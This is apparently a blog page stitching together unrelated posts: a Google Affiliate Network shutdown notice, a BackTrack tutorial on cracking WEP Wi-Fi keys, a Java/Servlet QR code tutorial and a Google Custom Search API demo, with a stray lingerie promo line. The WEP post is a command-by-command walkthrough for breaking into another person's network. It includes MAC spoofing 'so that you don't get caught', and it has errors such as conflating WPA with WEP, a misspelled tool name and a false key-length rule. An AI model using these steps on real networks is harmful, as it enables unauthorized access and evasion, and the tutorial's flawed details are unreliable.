Lock Key Making Machine

Google Retiring From Affiliate Network

We’re retiring Google Affiliate Network effective July 31, 2013. We’ll continue to support customers over the next few months.

Our goal with Google Affiliate Network has been to help advertisers and publishers improve their performance across the affiliate ecosystem. Cost-per-action (CPA) marketing has rapidly evolved in the last few years, and we’ve invested significantly in CPA tools like Product Listing Ads, remarketing and Conversion Optimizer. We’re constantly evaluating our products to ensure that we’re focused on the services that will have the biggest impact for our advertisers and publishers.

To that end, we’ve made the difficult decision to retire Google Affiliate Network and focus on other products that are driving great results for clients.

We’ll continue to support our customers as we wind down the product over the next few months. And there are other products that can help you achieve your goals. Affiliate publishers can continue to earn AdSense revenue through the AdSense network. And marketers can take advantage of other CPA-oriented Google tools like Product Listing Ads, remarketing and Conversion Optimizer to drive valuable online sales and conversions. These areas are growing rapidly and we’re continuing to invest heavily in them.

Thanks for your support of our affiliate product, and we look forward to helping you grow your business in the future.

Posted by: J.J. Hirschle, Head of Google Affiliate Network

 

Hacking Wifi Network Using BackTrack

wifi-hackedWifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (as if you didnt know..),Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves,however, it has been found that WEP is not as secure as once believed.Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how..

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information; the blogger cannot be held liable.

GETTING BACKTRACK

BackTrack is a slax based top rated Linux live distribution focused on penetration testing which consists of more than 300 up to date tools along with the ability of customizing scripts, configuring and modding kernels which makes it a true gem and a must have for every security enthusiastic out there. The best part – Its free and you can download it from – Remote Exploit

SETTING UP THE CARD AND THE CONSOLE

Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given –

ifconfig

This is the Linux equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.

airmon-ng

This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range.

airmon-ng stop [Wi-Fi Card name(without the quotes)]

This command will stop the cards broadcast and reception immediately

macchanger –mac [Desired MAC address] [Wi-Fi card name]

This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later

airmon-ng start [Wi-Fi Card name]

You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – “[Wi-Fi card name]” appears

DUMPING PACKETS

Once you have set up all the parameters, you need to sniff and dump data packets in order to get the key. You can do so by using following commands. On the command console type these commands –

airodump-ng [Wi-Fi card name]

Copy and paste the BSSID in the following command and execute it

airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]

As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.

SPEEDING UP THINGS

However packet dumping is quite a slow process, we need to speed up things to save our time. Open new console after the first data packet has been stored and type the command in the new console and execute it.

airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]

As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.

REVEALING WEP KEY

Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.

aircrack-ng –n 64 –b [BSSID] [Filename without the extension]

wep-wifi-hackedAs you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX

It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:

aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]

Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.

aircrack-ng –n 32 –b [BSSID] [Filename without the extension] 
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.

Now just login using the WEP key you got.

Enhanced by Zemanta

How To Create QR Codes in Java & Servlet

Nowadays, Quick Response (QR) Codes are becoming more and more useful as they have gone mainstream, thanks to the smart phones. Right from the bus shelter, product packaging, home improvement store,

automobile, a lot of internet websites are integrating QR Codes on their pages to let people quickly reach them. With increase in number of users of smart phones day by day, the QR codes usage is going up exponentially.

Let us see a quick overview of Quick Response (QR) codes and also how to generate these codes in Java.

Introduction to QR Codes

A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) first designed for the automotive industry. More recently, the system has become popular outside of the industry due to its fast readability and comparatively large storage capacity. The code consists of black modules arranged in a square pattern on a white background. The information encoded can be made up of four standardized kinds (“modes”) of data (numeric, alphanumeric, byte/binary, Kanji), or by supported extensions virtually any kind of data.

Created by Toyota subsidiary Denso Wave in 1994 to track vehicles during the manufacturing process, the QR code is one of the most popular types of two-dimensional barcodes. It was designed to allow its contents to be decoded at high speed.

Hello World QR Code in Java

Zebra Crossing (ZXing) is an awesome open source library that one can use to generate / parse QR Codes in almost all the platforms (Android, JavaSE, IPhone, RIM, Symbian etc). But if you have to generate simple QR Codes, I found it a bit clumsy to implement.

However QRGen is a good library that creates a layer on top of ZXing and makes QR Code generation in Java a piece of cake. It has a dependency on ZXing, so you would need ZXing jar files along with QRGen to create QR Codes in Java.

On the download page of ZXing, you will not find the JAR files. Instead we have to create JAR files using the source code. I have already generated these JAR files. Here are the links:

zxing-core-1.7.jar (346 KB)
zxing-javase-1.7.jar (21 KB)

Also download the QRGen JAR File from their download page.

Include these JAR files in your Classpath and execute following Java code to generate QR Code.

package net.viralpatel.qrcode;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import net.glxn.qrgen.QRCode;
import net.glxn.qrgen.image.ImageType;
public class Main {
    public static void main(String[] args) {
        ByteArrayOutputStream out = QRCode.from("Hello World")
                                        .to(ImageType.PNG).stream();
        try {
            FileOutputStream fout = new FileOutputStream(new File(
                    "C:QR_Code.JPG"));
            fout.write(out.toByteArray());
            fout.flush();
            fout.close();
        } catch (FileNotFoundException e) {
            // Do Logging
        } catch (IOException e) {
            // Do Logging
        }
    }
}

The code is pretty straight forward. We used QRCode class to generate QR Code Stream and write the byte stream to a file C:QR_Code.JPG.

Download Source Code

QR_Code_Java.zip (339 KB)

If you open this JPEG file and scan using your iPhone or Android QR scanner, you’ll find a cool “Hello World” in it :)

Apart from generating Sterams of data using QRGen API, we can also use below APIs to create QR Codes:

// get QR file from text using defaults
File file = QRCode.from("Hello World").file();
// get QR stream from text using defaults
ByteArrayOutputStream stream = QRCode.from("Hello World").stream();
 
// override the image type to be JPG
QRCode.from("Hello World").to(ImageType.JPG).file();
QRCode.from("Hello World").to(ImageType.JPG).stream();
 
// override image size to be 250x250
QRCode.from("Hello World").withSize(250, 250).file();
QRCode.from("Hello World").withSize(250, 250).stream();
 
// override size and image type
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).file();
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).stream();

Website Link (URLs) QR Code in Java

One of the most common use of a QR Code is to bring traffic to a particular webpage or download page of website. Thus QR Code encodes a URL or website address which a user can scan using phone camera and open in their browser. URLs can be straight forward included in QR Codes. In above Java Hello World example, just replace “Hello World” string with the URL you want to encode in QR Code. Below is the code snippet:

ByteArrayOutputStream out = QRCode.from("http://viralpatel.net")
                .to(ImageType.PNG).stream();

QR Code in Servlet

Most of the time you would need to generate QR Codes dynamically in some website. We already saw how easy it is to generate QR code in Java. Now we will see how to integrate this QR Code generation in a Java Servlet.

Following is a simple Http Servlet that creates QR Code using QRGen and ZXing library. User provides the text for which QR Code is generated.

The index jsp file contains a simple html form with a textbox and submit button. User can enter the text that she wishes to generate QR code of and presses submit.

File: index.jsp

<html>
<head>
<title>QR Code in Java Servlet - viralpatel.net</title>
</head>
<body>
    
    <form action="qrservlet" method="get">
        <p>Enter Text to create QR Code</p>
        <input type="text" name="qrtext" />
        <input type="submit" value="Generate QR Code" />
    </form>
</body>
</html>

The magic happens in QRCodeServlet.java. Here we uses QRGen library along with ZXing and generates QR Code for given text (Text we get from request.getParameter). Once the QR Stream is generated, we write this to response and set appropriate content type.

File: QRCodeServlet.java

package net.viralpatel.qrcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.glxn.qrgen.QRCode;
import net.glxn.qrgen.image.ImageType;
public class QRCodeServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request,
            HttpServletResponse response) throws ServletException, IOException {
        String qrtext = request.getParameter("qrtext");
        ByteArrayOutputStream out = QRCode.from(qrtext).to(
                ImageType.PNG).stream();
        
        response.setContentType("image/png");
        response.setContentLength(out.size());
        
        OutputStream outStream = response.getOutputStream();
        outStream.write(out.toByteArray());
        outStream.flush();
        outStream.close();
    }
}

The below web.xml simply maps QRCodeServlet.java with /qrservlet URL.

File: web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns="http://java.sun.com/xml/ns/javaee"
        xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
        xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
        id="WebApp_ID" version="2.5">
        
  <display-name>QR_Code_Servlet</display-name>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>
    <servlet>
        <servlet-name>QRCodeServlet</servlet-name>
        <servlet-class>net.viralpatel.qrcodes.QRCodeServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>QRCodeServlet</servlet-name>
        <url-pattern>/qrservlet</url-pattern>
    </servlet-mapping>
    
</web-app>

Download Source Code

QR_Code_Servlet.zip (340 KB)

Output

qr-code-java-servlet-index

qr-code-java-servlet-image

 

Conclusion

Generating QR Codes in Java is not only easy, but quite straight forward. Integrating this functionality with any existing Java based app is just a piece of cake! In this tutorial we saw how to generate these QR codes in Java and also with Servlet.

Hope you’ll like this :)

Enhanced by Zemanta

Create your own Search Engine(Interface) using Google Custom Search API

google-api-real-time-search
Google Custom Search API are wonderful tools to create some awesome search engine like tools. Also if you want to add a search option to your website and customize the look and feel of your search results, Google Custom Search API serve best to you.
Ring in Spring with Stunning Lingerie from Journelle and get $25 OFF purchases of $200 or more! Use promo code: SPRING200. Offer valid 2/22/13-4/30/13. Shop Now

I have created a Real Time Search engine (I call it real time as it search as you type). I am really impressed by the speed/response of Google Search API.

DEMO

google-search-technology

DEMO

The Code

I will show the code for one of the search api that I implemented in demo page. Let us see how to implement Web Search API.

Step 1: Generate Google Search API Key and Include JavaScript

In order to use Google Search API, you have to first generate a Key for you. Go to following page and signup your self for the Key.
Sign up for Google API Key

Next step is to include the Google Search API javascript. Don’t forget to mention your key in the below code.

<script src="http://www.google.com/jsapi?key=YOURKEY" type="text/javascript"></script>
<script type="text/javascript">
    google.load('search', '1');
</script>

Primary

Step 2: Add HTML Container for Web Search

We will create a textbox and a button that will take input for search. And a DIV that will be populated by results:

<input type="text" title="Real Time Search" name="searchbox"/>
<input type="button" id="searchbtn" value="Search" onclick="search(searchbox.value)"/>
<div class="data" id="web-content"></div>

When user will write a query and push Search button, a request will be made to Google Search using Custom Search API and the results are fetched. These results are then copied into the DIV.

Step 3: JavaScript to call Google Search API

We will use following JavaScript to call the Google Search API and copy the results in our container DIV.
The code in plain english is:
1. Create an object to connect Google Web search using class google.search.WebSearch.
2. Set a callback function that will get call once the results for the search are fetched.
3. Call the execute() method with search query as argument.
4. In callback function, iterate through the results and copy it to container DIV.

webSearch = new google.search.WebSearch();
webSearch.setSearchCompleteCallback(this, webSearchComplete, [webSearch]);
function webSearchComplete (searcher, searchNum) {
    var contentDiv = document.getElementById('web-content');
    contentDiv.innerHTML = '';
    var results = searcher.results;
    var newResultsDiv = document.createElement('div');
    newResultsDiv.id = 'web-content';
    for (var i = 0; i < results.length; i++) {
      var result = results[i];
      var resultHTML = '<div>';
      resultHTML += '<a href="' + result.unescapedUrl + '" target="_blank"><b>' +
                        result.titleNoFormatting + '</b></a><br/>' +
                        result.content +
                        '<div/>';
      newResultsDiv.innerHTML += resultHTML;
    }
    contentDiv.appendChild(newResultsDiv);
}
function search(query) {
    webSearch.execute(query);
}

Click for Online Demo

Enhanced by Zemanta